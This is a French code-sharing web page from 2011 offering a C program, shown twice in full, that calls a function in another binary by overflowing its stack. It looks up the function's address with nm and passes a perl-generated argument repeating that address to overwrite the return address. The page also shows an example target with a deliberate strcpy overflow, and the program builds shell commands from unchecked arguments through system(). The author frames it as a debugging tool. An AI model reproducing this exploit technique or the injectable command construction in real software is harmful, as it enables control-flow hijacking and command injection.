begin process at 2012 05 27 16:08:21
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Divers

 > [C] EXECUTION D'UNE FONCTION PAR SON NOM

[C] EXECUTION D'UNE FONCTION PAR SON NOM


 Information sur la source

Note :
Aucune note
Catégorie :Divers Classé sous :ChercheFonction, Pop70, Debuggage Niveau :Débutant Date de création :12/07/2011 Date de mise à jour :24/07/2011 17:12:32 Vu / téléchargé :2 286 / 60

Auteur : pop70

Ecrire un message privé
Site perso
Commentaire sur cette source (3)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
Ce programme permet d'exécuter une fonction d'un autre programme juste en connaissant son nom :
Pour faire cela il suffit juste que le programme qui contient cette fonction ait un point d'entrée en ligne de commande.
Il faut entrer en argument : le nom du programme qui contient la fonction (qui doit se trouver dans le meme repertoire), le nom de la fonction et un nombre representant le depassement voulu (facultatif par defaut 40 mots).

Il permet un debuggage lors de l'execution en sautant directement a la fonction voulue.

Pour l'executer il faut avoir installé perl.

Par exemple si un programme du nom de ProgrammeA contient (en tres simplifie):

void FonctionA();

int main(int argc, char *argv[]) {
char a[15];
strcpy(a, argv[1]);
return 0;
}

void FonctionA() {
printf("Fonction A\n");
}

il suffira d'executer le programme ChercheFonction sous la forme :

./ChercheFonction ProgrammeA FonctionA

pour executer la fonction "FonctionA" du programme "ProgrammeA".

Source

  • /*______________________________*/
  • /*||||||||||| Pop70 ||||||||||||*/
  • /*))))))))))) ((((((((((((*/
  • /*\\\\\\ChercheFonction.c///////*/
  • /*
  • * Programme qui permet d'utiliser un buffer-overflow
  • * pour executer une fonction dont le nom est connu.
  • */
  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <fcntl.h>
  • #include <string.h>
  • struct infosFichier { // Structure pour faciliter la recherche dans un fichier
  • char * adresse;
  • long int taille;
  • };
  • void lecture_fichier(struct infosFichier *); // Lis le fichier est conserve le contenu dans une structure.
  • int recherche_adresse(char *, struct infosFichier *, char*); // Recherche l'adresse de la fonction d'apres le contenu.
  • void execute_fonction(char*, char*, unsigned int); // Tente d'execute la fonction d'apres l'adresse trouvee.
  • int main(int argc, char *argv[]) {
  • unsigned int nbMots = 40; // Ici un mot vaut 4 octets, represente le depassement de memoire.
  • if(argc < 3) {
  • printf("Ce programme permet d'executer une fonction par debordement,\n"
  • "pour cela il faut donner le nom du programme, le nom de la fonction,\n"
  • "et si voulu un nombre correspondant a la taille du debordement (par defaut %u mots)\n\n", nbMots);
  • exit(-1);
  • }
  • else if (argc > 3)
  • nbMots = atoi(argv[3]);
  • char *nomProgramme, *nomFonction, *commande;
  • nomProgramme = (char *)malloc(strlen(argv[1]) + 1);
  • nomFonction = (char *)malloc(strlen(argv[2]) + 1);
  • commande = (char *)malloc(strlen(argv[1]) + 17);
  • nomProgramme[strlen(argv[1])] = 0;
  • nomFonction[strlen(argv[2])] = 0;
  • commande[strlen(argv[1]) + 3] = 0;
  • // Lance la recherche des fonctions grace a la commande 'nm'.
  • strcpy(nomProgramme, argv[1]);
  • strcpy(nomFonction, argv[2]);
  • strcpy(commande, "nm ");
  • strcpy(commande + strlen(commande), nomProgramme);
  • strcpy(commande + strlen(commande), " > newSys.log"); // Ces informations partent dans un fichier temporaire.
  • printf("Recherche de la fonction...\n", commande);
  • system(commande); // A changer si possible...
  • struct infosFichier log; // Contient le fichier et sa taille dans une structure.
  • lecture_fichier(&log);
  • remove("newSys.log"); // Garde le contenu sur la pile et supprime le fichier.
  • char adresse[9] = {0};
  • recherche_adresse(adresse, &log, nomFonction); // Recherche l'adresse de la fonction.
  • printf("Adresse de la fonction : 0x%s\n", adresse);
  • execute_fonction(nomProgramme, adresse, nbMots); // Execute si possible la fonction.
  • free(log.adresse); // Libere la memoire.
  • free(nomProgramme);
  • free(nomFonction);
  • free(commande);
  • return 0;
  • }
  • void lecture_fichier(struct infosFichier *log) {
  • int descripteurFichier = -1; // Utilise les descripteur de fichier et non FILE*.
  • descripteurFichier = open("newSys.log", O_RDONLY);
  • if (descripteurFichier == -1) {
  • perror("[!!!] - Erreur lors du chargement du fichier.\n");
  • exit(-1); // Quitte si probleme.
  • }
  • char *ptr;
  • long int tailleFichier;
  • tailleFichier = lseek(descripteurFichier, 0, SEEK_END); // Calcule la taille du fichier,
  • lseek(descripteurFichier, 0, SEEK_SET); // et remet le curseur au debut.
  • ptr = (char *)malloc(tailleFichier);
  • if(read(descripteurFichier, ptr, tailleFichier) == -1) { // Lis le fichier.
  • perror("[!!!] - Erreur lors de la lecture du fichier.\n");
  • exit(-1);
  • }
  • if (close(descripteurFichier) == -1) {
  • perror("[!!!] - Erreur lors de la fermeture du fichier.\n");
  • exit(-1);
  • }
  • log->adresse = ptr; // Complete les informations sur le fichier.
  • log->taille = tailleFichier;
  • }
  • int recherche_adresse(char *adresse, struct infosFichier *log, char *nomFonction) {
  • int i,j=0;
  • int correspondances = 0;
  • int resultat = -1;
  • for(i=0; i < log->taille; i++) { // Cherche une correspondance entre le nom de la fonction et contenu du fichier.
  • if(log->adresse[i] == nomFonction[correspondances])
  • correspondances++;
  • else
  • correspondances = 0;
  • if(correspondances == strlen(nomFonction)) {
  • resultat = i; // S'il y en a une l'endroit de celle-ci est memorise
  • break;
  • }
  • }
  • if(resultat == -1) {
  • perror("[!!!] - Erreur, aucune correspondance.\n"); // Sinon le programme s'arrete.
  • exit(-1);
  • }
  • unsigned int debut = resultat - strlen(nomFonction) - 10;
  • unsigned int fin = resultat - strlen(nomFonction) - 2;
  • unsigned int adresseInt=0;
  • j=0;
  • for(i=debut; i < fin ;i++) {
  • adresse[j] = log->adresse[i]; // Prend l'adresse qui doit se trouver au debut de la meme ligne.
  • j++;
  • }
  • printf("\n");
  • return resultat;
  • }
  • void execute_fonction(char *nomProgramme, char *adresse, unsigned int nbMots) {
  • char *commande; // La commande qui sera du genre : ./nomProgramme $(perl -e 'print "adresse_oct"xnbMots')
  • char nbMotsCh[40] = {0};
  • sprintf(nbMotsCh,"%u",nbMots);
  • unsigned int taille_commande = 37 + strlen(nomProgramme) + strlen(adresse) + strlen(nbMotsCh);
  • commande = (char *)malloc(taille_commande);
  • bzero(commande, taille_commande);
  • strcpy(commande, "./");
  • strcpy(commande + strlen(commande), nomProgramme);
  • strcpy(commande + strlen(commande), " $(perl -e \'print \"");
  • char adresse_oct[18] = {0};
  • // Conversion de l'adresse de la forme 0xAAbbCCdd sous la forme 0xdd 0xCC 0xbb 0xAA (little-endian oblige...).
  • int i, j = 7, k=0;
  • for(i=0;i < 14; i+=4) {
  • adresse_oct[i] = '\\';
  • adresse_oct[i+1] = 'x';
  • adresse_oct[i+2] = adresse[j-k-1];
  • adresse_oct[i+3] = adresse[j-k];
  • k+=2;
  • }
  • // Assemblage des chaines.
  • strcpy(commande + strlen(commande), adresse_oct);
  • strcpy(commande + strlen(commande), "\"x");
  • strcpy(commande + strlen(commande), nbMotsCh);
  • strcpy(commande + strlen(commande), "\')");
  • system(commande); // Execute la commande.
  • free(commande); // Libere la memoire.
  • }
/*______________________________*/
/*||||||||||| Pop70 ||||||||||||*/
/*)))))))))))       ((((((((((((*/
/*\\\\\\ChercheFonction.c///////*/

/*
 * Programme qui permet d'utiliser un buffer-overflow 
 * pour executer une fonction dont le nom est connu.
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>

struct infosFichier {     // Structure pour faciliter la recherche dans un fichier 
	char * adresse;
	long int taille;
};


void lecture_fichier(struct infosFichier *); // Lis le fichier est conserve le contenu dans une structure.
int recherche_adresse(char *, struct infosFichier *, char*); // Recherche l'adresse de la fonction d'apres le contenu.
void execute_fonction(char*, char*, unsigned int); // Tente d'execute la fonction d'apres l'adresse trouvee.

int main(int argc, char *argv[]) {
	
	unsigned int nbMots = 40; // Ici un mot vaut 4 octets, represente le depassement de memoire.
	
	if(argc < 3) {
		printf("Ce programme permet d'executer une fonction par debordement,\n"
					"pour cela il faut donner le nom du programme, le nom de la fonction,\n"
					"et si voulu un nombre correspondant a la taille du debordement (par defaut %u mots)\n\n", nbMots); 
		exit(-1);
	}
	else if (argc > 3)
		nbMots = atoi(argv[3]);
	char *nomProgramme, *nomFonction, *commande;
	
	nomProgramme = (char *)malloc(strlen(argv[1]) + 1);
	nomFonction = (char *)malloc(strlen(argv[2]) + 1);
	commande = (char *)malloc(strlen(argv[1]) + 17);
	
	nomProgramme[strlen(argv[1])] = 0;
	nomFonction[strlen(argv[2])] = 0;
	commande[strlen(argv[1]) + 3] = 0;
	
	// Lance la recherche des fonctions grace a la commande 'nm'.
	
	strcpy(nomProgramme, argv[1]);
	strcpy(nomFonction, argv[2]);
	strcpy(commande, "nm ");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " > newSys.log"); // Ces informations partent dans un fichier temporaire. 
		
	printf("Recherche de la fonction...\n", commande);
	
	system(commande); // A changer si possible...
	
	struct infosFichier log; // Contient le fichier et sa taille dans une structure.
	
	lecture_fichier(&log);	
	remove("newSys.log"); // Garde le contenu sur la pile et supprime le fichier.
	
	char adresse[9] = {0};
	recherche_adresse(adresse, &log, nomFonction); // Recherche l'adresse de la fonction.
	printf("Adresse de la fonction : 0x%s\n", adresse);
	
	execute_fonction(nomProgramme, adresse, nbMots); // Execute si possible la fonction.	
	
	free(log.adresse); // Libere la memoire.
	free(nomProgramme);
	free(nomFonction);
	free(commande);


	return 0;
}	

void lecture_fichier(struct infosFichier *log) {
	
	int descripteurFichier = -1;  // Utilise les descripteur de fichier et non FILE*.
	
	descripteurFichier = open("newSys.log", O_RDONLY);
	
	if (descripteurFichier == -1) {
		perror("[!!!] - Erreur lors du chargement du fichier.\n");
		exit(-1); // Quitte si probleme.
	}
	
 	char *ptr;
 	long int tailleFichier;
 	
 	tailleFichier = lseek(descripteurFichier, 0, SEEK_END); // Calcule la taille du fichier,
	lseek(descripteurFichier, 0, SEEK_SET); // et remet le curseur au debut.
	
	ptr = (char *)malloc(tailleFichier);	
	
	if(read(descripteurFichier, ptr, tailleFichier) == -1) {         // Lis le fichier.
			perror("[!!!] - Erreur lors de la lecture du fichier.\n"); 
		exit(-1);
	}
	
		
	if (close(descripteurFichier) == -1) {
		perror("[!!!] - Erreur lors de la fermeture du fichier.\n");
		exit(-1);
	}
	
	log->adresse = ptr;            // Complete les informations sur le fichier.
	log->taille = tailleFichier;	
}


int recherche_adresse(char *adresse, struct infosFichier *log, char *nomFonction) {
	
	int i,j=0;
	
	int correspondances = 0;
	int resultat = -1;
	
	for(i=0; i < log->taille; i++) {    // Cherche une correspondance entre le nom de la fonction et contenu du fichier.
		if(log->adresse[i] == nomFonction[correspondances])
			correspondances++;
		else
			correspondances = 0;
		
		if(correspondances == strlen(nomFonction)) {
			resultat = i; // S'il y en a une l'endroit de celle-ci est memorise
			break;		
		}				
	}
	

	
	if(resultat == -1) {
		perror("[!!!] - Erreur, aucune correspondance.\n"); // Sinon le programme s'arrete.
		exit(-1);	
	}
	

	unsigned int debut = resultat - strlen(nomFonction) - 10;
	unsigned int fin = resultat - strlen(nomFonction) - 2;
	
	unsigned int adresseInt=0;
	
	j=0;
	for(i=debut; i < fin ;i++) {
		adresse[j] = log->adresse[i]; // Prend l'adresse qui doit se trouver au debut de la meme ligne.
		j++;
	}
	
	printf("\n");
	
	return resultat;
}	


void execute_fonction(char *nomProgramme, char *adresse, unsigned int nbMots) {
	
	
	char *commande; // La commande qui sera du genre : ./nomProgramme $(perl -e 'print "adresse_oct"xnbMots')
	char nbMotsCh[40] = {0};
	
	sprintf(nbMotsCh,"%u",nbMots);
	
	unsigned int taille_commande = 37 + strlen(nomProgramme) + strlen(adresse) + strlen(nbMotsCh);
	commande = (char *)malloc(taille_commande);
	bzero(commande, taille_commande);
	
	strcpy(commande, "./");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " $(perl -e \'print \"");  
	
	char adresse_oct[18] = {0};

	
	// Conversion de l'adresse de la forme 0xAAbbCCdd sous la forme 0xdd 0xCC 0xbb 0xAA (little-endian oblige...).
	int i, j = 7, k=0;
	for(i=0;i < 14; i+=4) {
		adresse_oct[i] = '\\';
		adresse_oct[i+1] = 'x';
		adresse_oct[i+2] = adresse[j-k-1];
		adresse_oct[i+3] = adresse[j-k];
		k+=2;
	}
	
	// Assemblage des chaines.
	strcpy(commande + strlen(commande), adresse_oct); 
	strcpy(commande + strlen(commande), "\"x");
	strcpy(commande + strlen(commande), nbMotsCh);
	strcpy(commande + strlen(commande), "\')");    
		
	system(commande); // Execute la commande.
		
	free(commande); // Libere la memoire.

}









 Conclusion

L'un des principaux inconvénients de ce code est d'utiliser la fonction system().

De plus, j'ai testé le programme sur Linux, il y a donc peut etre des choses a revoir pour l'executer sur Windows, c'est pour ceci qu'il n'y a pas executable.

Enfin, ce programme est utile pour debugger un autre programme lorsqu'on ne peut pas atteindre pour une raison ou une autre une certaine fonction, et seulement pour ceci, car sans connaître le nom de la fonction il ne pas être utilisé. Par contre, il n'est pas très précis et peut, en fonction du nombre de  dépassements, exécuter plusieurs fois la fonction voulue.

En tout cas j'espere qu'il pourra etre utile a quelqu'un.


Pop70






 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

12 juillet 2011 12:33:13 :
correction de fautes + ajout d'accents
12 juillet 2011 13:30:12 :
rajout de <string.h> pour strlen
24 juillet 2011 17:12:32 :
Correction du code au niveau des allocations de mémoire.

 Sources du même auteur

Source avec Zip Source avec une capture XCOUPE : COUPE 2D
Source avec Zip Source avec une capture [C++] CLASSE DE GESTION DE FONCTIONS
Source avec Zip Source avec une capture RY-CASSEBRIQUES
Source avec une capture [C++] & SFML CRYPTOGRAPHIE
Source avec Zip Source avec une capture [C++] NAVIGATEUR INTERNET QT

 Sources de la même categorie

Source avec Zip KISIEL CD INFO DRIVE par kisiel0147852
Source avec une capture SUPPRESSION DES REDONDANCES DE FICHIERS par cyberntique
Source avec Zip ÉDITEUR DE RECTANGLES EN CONSOLE par seoseo
CONVERSION DE FICHIER EN FICHIER BMP par seoseo
Source avec Zip DETECTEUR EJP par idpro

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture XCOUPE : COUPE 2D par pop70
Source avec Zip Source avec une capture [C++] CLASSE DE GESTION DE FONCTIONS par pop70
Source avec Zip Source avec une capture RY-CASSEBRIQUES par pop70

Commentaires et avis

Commentaire de pop70 le 12/07/2011 14:26:31

J'ai testé sur Windows et ça fonctionne, il faut juste :

POUR FAIRE TOUNER SUR WINDOWS :


.supprimer la ligne 167 (strcpy(commande, "./");)

.remplacer la ligne 169 : strcpy(commande + strlen(commande), " $(perl -e \'print \"");
par strcpy(commande + strlen(commande), " $(perl -e \"print \'");

.remplacer la ligne 188 : strcpy(commande + strlen(commande), "\')"); par strcpy(commande + strlen(commande), "\")");

.remplacer la ligne 192 : strcpy(commande + strlen(commande), "\')");
par strcpy(commande + strlen(commande), "\")");

.écire :
int r;
for(r=0; r <  taille_commande; r++) {
    commande[r] = 0;
}

à la place de la fonction bzero ligne 165.

.ajouter #include <string.h> pour les fonctions strlen et autres (si ce n'est pas déjà mis).


Voila, si vous avez des commentaires à faire, des bugs à signaler ou des idées pour améliorer le programme n'hésitez pas.

Commentaire de gamemonde le 19/07/2011 19:47:33

Attention beaucoup de malloc mais pas assez de free. tu as beaucoup de fuite de mémoire

Commentaire de pop70 le 24/07/2011 17:14:27

Merci, en effet j'avais 5 malloc et seulement 2 free. J'ai corrigé ça :)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Debuggage [ par crocejf2000 ] Salut,J'ai une erreur a un moment dans mon prog et je vois pas d'ou ca vient, voici l'état des registres : GENTWIN a causé une défaillance de page dan Debuggage [ par crocejf2000 ] Salut,J'ai une erreur a un moment dans mon prog et je vois pas d'ou ca vient, voici l'état des registres : GENTWIN a causé une défaillance de page dan Debuggage [ par crocejf2000 ] Salut,J'ai une erreur a un moment dans mon prog et je vois pas d'ou ca vient, voici l'état des registres : GENTWIN a causé une défaillance de page dan Conditions répétitif - debuggeur [ par juki_webmaster ] Salut, Pour achever le developpement de mon logiciel j'ai eu l'idée de concevoir un debuggeur maison et de l'intégré par la suite en "dur" dans les s


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,482 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales